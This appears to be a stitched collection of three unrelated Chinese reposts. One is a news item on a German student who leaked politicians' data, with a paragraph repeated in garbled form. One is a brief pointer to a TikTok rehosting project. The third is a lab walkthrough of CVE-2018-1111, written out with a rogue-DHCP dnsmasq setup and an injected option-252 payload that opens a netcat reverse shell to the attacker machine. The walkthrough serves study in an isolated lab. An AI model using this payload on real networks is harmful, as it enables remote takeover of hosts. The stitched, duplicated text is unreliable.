据德国之声8日报道，这名学生来自德国黑森州，和父母居住在一起，不是电脑专家，没有作案前科。周日晚上，他在黑森州的家中被抓。调查人员恢复了嫌疑人两天前毁掉的电脑数据，并进行了备份。泄露数百名德国政客个人信息的“幕后黑手”被抓了，是一名20岁的学生。他现在又被放了，正在配合调查。据德国之声8日报道，这名学生来自德国黑森州，和父母居住在一起，不是电脑专家，没有作案前科。周日晚上，他在黑森州的家中被抓。调查人员恢复了嫌疑人两天前毁掉的电脑数据，并进行了备份。1月7日，该嫌疑人受到了负责该事件的检察官和警官的审问。他承认，这次数据泄露事件是他一人所为，因为他对一些政客和记者的公开言论感到愤怒。“相关调查目前还未发现有第三方参与此案，”德国联邦警局在一份声明中写道，嫌疑人“对自己的犯罪事实供认不讳，并提供了他自己罪行外的有用信息。”过去几周里，一个名叫“G0d”的推特账户一直在公布有关数据据半岛电视台报道，这名嫌疑人周一已经被释放，因为警方缺乏拘留他的法律依据，目前他正在配合调查。报道称，该嫌疑人可能面临非法获取和处理被盗数据的指控，这一指控最高可判成年人三年监禁。但是，该案件是根据未成年人法律审理的 ，刑罚将会较轻。在抓到嫌疑人之前，德国此次还是习惯性的把“脏水”泼到俄罗斯头上。德国认为近年来本国发生的多次黑客攻击行为都是俄罗斯方面所为。对此，克林姆林宫予以否认。上周，德国数百名主要政党议员、网络名人、记者和歌手发现自己的个人信息遭到泄露，其中包括电子邮件地址、社交媒体上的私密聊天、以及银行账户的细节等，连德国总理默克尔也中招了。此事件让德国有近1000人受到影响。过去几周里，一个名叫“G0d”的推特账户一直在公布有关数据，该账户坐标汉堡，自我标签为“安全研究”、“艺术家”和“挖苦讽刺”。奇怪的是，虽然这次数据泄露几乎波及到了所有德国党派，但右翼政党德国选择党却“幸免于难”，外界一直怀疑其与黑客有关。据德国之声报道，黑客身份被确认后，德国联邦警局局长慕尼希（Holger Münch）称，当局并没有将此次黑客袭击视为政治犯罪，也没有将嫌疑人与德国右翼极端主义分子联系起来。事件被处理后，德国内政部长泽霍夫（Horst Seehofer）称，“在这种重要的事情上，我们是尽职尽责的，”1月3日泄露信息事件曝光后，我们立刻试图删除这些被盗信息，内政部还就如何应对黑客向议会提出了建议。当局的做法“非常好、非常迅速、非常有效。”泽霍夫补充道，事件发生后已经初步成立了一个特别工作小组，因为我们起初认为黑客的规模很大。最终只有一个嫌疑人，并且已经在信息泄露事件曝光后48小时内被捕。当局成功的组织了被盗信息的进一步传播。德国内政部长泽霍夫德国之声分析称，这些解释是否足以减轻泽霍费尔个人的压力还有待观察。德国最高安全机构用了一周的时间追捕一名20岁的学生，这名学生据说还不是什么IT精英，这一场面很难缓解公众对政府信息安全保护不达标的担忧。据德国《图片报》报道，此次信息被盗后，德国当局还向美国国家安全据求助。一位匿名安全官员表示，德国调查人员希望美国情报机构向社交媒体推特施压，关闭带有机密数据链接的个人账号。同时德国当局向对方强调，成千上万的美国公民也受到了数据转储的影响。转载地址：https://www.t00ls.net/articles-49454.html

逛GitHub看到的项目，除了提供api还能共享十九万库存，老美无节操封杀TikTok，这样光明正大的镜像站能活多久呢，且行且珍惜吧。GitHub：https://github.com/antiops/tiktok-downloader-and-rehoster演示站：https://tiktok.fail/browse

0×01 前言最近留意到CVE-2018-1111这个洞，关于dhcp命令注入，便想复现一波。DHCP是一个局域网的网络协议，主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient（Red Hat Enterprise Linux 7）和/etc/NetworkManager/dispatcher.d/10-dhclient（Red Hat Enterprise Linux 6）。当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。最开始在Github上找到一个Docker的复现环境，尝试了各个docker镜像都发现漏洞已被patched掉了，无奈只能在VM上安装CentOS虚拟机。https://github.com/knqyf263/CVE-2018-1111关于漏洞成因，该文章已经分析的很清楚了，这里不再赘述。https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/0×02 配置虚拟机网络attacker: kali linux 2018 x64 192.168.71.5victim: Centos 7 x64 192.168.71.10打开VM虚拟网络编辑器，设置仅主机模式（关掉dhcp，设置ip）。将attacker、victim网络配置成仅主机模式：0×003 搭建dhcp服务先在kali下设置一下网络ifconfig eth0 192.168.71.5 netmask 255.255.255.0route add default gw 192.168.71.5现在设置成192.168.71.5的ip。在当前目录新建一个dnsmasq.conf文件，填入以下内容进行配置：bind-interfacesinterface=eth0except-interface=lodhcp-range=192.168.71.10,192.168.71.20,12hdhcp-option=3,192.168.71.5dhcp-option=6,192.168.71.5log-querieslog-facility=/var/log/dnsmasq.log参数解释：dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间dhcp-option: 表示指定给 DHCP 客户端的选项信息log-facility: 表示日志记录器其中配置文件中包括的 option 取值及含义如下：3: 设置网关地址选项6: 设置 DNS 服务器地址选项252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL，wpad-proxy-urlpayload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252，然后在他们的浏览器中写入与 dhcp 服务器交谈的能力，并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。这里 dnsmasq.conf中的dhcp-range设置：为 192.168.71.10-192.168.71.20/24 这个 ip 地址范围，租约时间为 12h。dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址，kali 的 ip 地址为静态 ip。0×04 命令注入利用dnsmasq伪造dns服务器，命令执行 payload 如下：dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"监听6666端口：nc -l -p 6666 -v重启CentOS的网络服务，然后shell就反弹回来了：现在，CentOS的ip也是由我们伪造dhcp服务分配的(范围在192.168.71.10~192.168.71.20)。转载地址：https://www.freebuf.com/articles/web/191884.html